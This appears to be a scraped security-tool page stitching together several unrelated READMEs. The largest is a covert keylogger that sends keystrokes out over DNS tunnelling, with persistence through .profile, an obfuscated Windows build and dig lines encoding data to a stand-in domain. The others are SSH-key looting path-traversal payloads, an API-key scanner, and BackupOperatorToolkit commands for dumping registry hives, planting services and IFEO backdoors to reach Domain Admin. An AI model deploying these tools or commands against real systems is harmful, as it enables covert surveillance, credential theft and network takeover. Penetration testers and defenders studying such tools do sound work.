Login
This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.
These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.
The server uses python3.
To install dependencies, run python3 -m pip install -r requirements.txt
To start the server, run python3 main.py
FreshRSS usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
By default, the server listens on UDP port 53. Use the -p flag to specify a different port.
ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.
domain is the domain to listen for, which should be the domain that the server is authoritative for.
On the registrar, you want to change your domain's namespace to custom DNS.
Point them to two domains, ns1.example.com and ns2.example.com.
Add records that make point the namespace domains to your exfiltration server's IP address.
This is the same as setting glue records.
The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.
logger.sh# Usage: logger.sh [-options] domain
# Positional Arguments:
# domain: the domain to send data to
# Options:
# -p path: give path to log file to listen to
# -l: run the logger with warnings and errors printed
To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.
The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.
The -l option will show warnings and errors. Can be useful for debugging.
logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.
make production domain=example.com
You can also choose to build the program with debugging by making the debug target.
make debug domain=example.com
For both targets, you will need to specify the domain the server is listening for.
You can use dig to send requests to the server:
dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.
Replace example.com with the domain the server is listening for.
A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.
The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].
The server will respond with an IP address in following format: 123.123.123.[id]
Concurrent connections cannot exceed 254, and clients are never considered "disconnected."
A record requests starting with b indicate exfiltrated data being sent to the server.
The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].
The server will respond with [code].123.123.123
id is the id that was established on connection. Data is sent as ASCII encoded in hex.
code is one of the codes described below.
200: OKIf the client sends a request that is processed normally, the server will respond with code 200.
201: Malformed Record RequestsIf the client sends an malformed record request, the server will respond with code 201.
202: Non-Existant ConnectionsIf the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.
203: Out of Order PacketsIf the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.
204 Reached Max ConnectionIf the client attempts to create a connection when the max has reached, the server will respond with code 204.
Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.
The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.
The keylogger relies on script, so the keylogger won't run in non-interactive shells.
For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.
SSH Private Key Looting Wordlists. A Collection Of Wordlists To Aid In Locating Or Brute-Forcing SSH Private Key File Names.
?file=../../../../../../../../home/user/.ssh/id_rsa
?file=../../../../../../../../home/user/.ssh/id_rsa-cert
This repository contains a collection of wordlists to aid in locating or brute-forcing SSH private key file names. These wordlists can be useful for penetration testers, security researchers, and anyone else interested in assessing the security of SSH configurations.
These wordlists can be used with tools such as Burp Intruder, Hydra, custom python scripts, or any other bruteforcing tool that supports custom wordlists. They can help expand the scope of your brute-forcing or enumeration efforts when targeting SSH private key files.
This wordlist repository was inspired by John Hammond in his vlog "Don't Forget This One Hacking Trick."
Please use these wordlists responsibly and only on systems you are authorized to test. Unauthorized use is illegal.
The tool in question was created in Go and its main objective is to search for API keys in JavaScript files and HTML pages.
It works by checking the source code of web pages and script files for strings that are identical or similar to API keys. These keys are often used for authentication to online services such as third-party APIs and are confidential and should not be shared publicly.
By using this tool, developers can quickly identify if their API keys are leaking and take steps to fix the problem before they are compromised. Furthermore, the tool can be useful for security officers, who can use it to verify that applications and websites that use external APIs are adequately protecting their keys.
In summary, this tool is an efficient and accurate solution to help secure your API keys and prevent sensitive information leaks.
git clone https://github.com/MrEmpy/Mantra
cd Mantra
make
./build/mantra-amd64-linux -h
The goal of this project is to accumulate the secret keys / secret materials related to various web frameworks, that are publicly available and potentially used by developers. These secrets will be utilized by the Blacklist3r tools to audit the target application and verify the usage of these pre-published keys.
We are releasing this project with.Net machine key tool to identify usage of pre-shared Machine Keys in the application for encryption and decryption of forms authentication cookie.
Note: Requires Visual Studio 2019, not 2022. Visual Studio 2022 does not support .NET Framework 4.5, which this repo relies on.
The BackupOperatorToolkit (BOT) has 4 different mode that allows you to escalate from Backup Operator to Domain Admin.
Use "runas.exe /netonly /user:domain.dk\backupoperator powershell.exe" before running the tool.
The SERVICE mode creates a service on the remote host that will be executed when the host is rebooted.
The service is created by modyfing the remote registry. This is possible by passing the "REG_OPTION_BACKUP_RESTORE" value to RegOpenKeyExA and RegSetValueExA.
It is not possible to have the service executed immediately as the service control manager database "SERVICES_ACTIVE_DATABASE" is loaded into memory at boot and can only be modified with local administrator privileges, which the Backup Operator does not have.
.\BackupOperatorToolkit.exe SERVICE \\PATH\To\Service.exe \\TARGET.DOMAIN.DK SERVICENAME DISPLAYNAME DESCRIPTIONThe DSRM mode will set the DsrmAdminLogonBehavior registry key found in "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" to either 0, 1, or 2.
Setting the value to 0 will only allow the DSRM account to be used when in recovery mode.
Setting the value to 1 will allow the DSRM account to be used when the Directory Services service is stopped and the NTDS is unlocked.
Setting the value to 2 will allow the DSRM account to be used with network authentication such as WinRM.
If the DUMP mode has been used and the DSRM account has been cracked offline, set the value to 2 and log into the Domain Controller with the DSRM account which will be local administrator.
.\BackupOperatorToolkit.exe DSRM \\TARGET.DOMAIN.DK 0||1||2The DUMP mode will dump the SAM, SYSTEM, and SECURITY hives to a local path on the remote host or upload the files to a network share.
Once the hives have been dumped you could PtH with the Domain Controller hash, crack DSRM and enable network auth, or possibly authenticate with another account found in the dumps. Accounts from other forests may be stored in these files, I'm not sure why but this has been observed on engagements with management forests. This mode is inspired by the BackupOperatorToDA project.
.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DKThe IFEO (Image File Execution Options) will enable you to run an application when a specifc process is terminated.
This could grant a shell before the SERVICE mode will in case the target host is heavily utilized and rarely rebooted.
The executable will be running as a child to the WerFault.exe process.
.\BackupOperatorToolkit.exe IFEO notepad.exe \\Path\To\pwn.exe \\TARGET.DOMAIN.DK
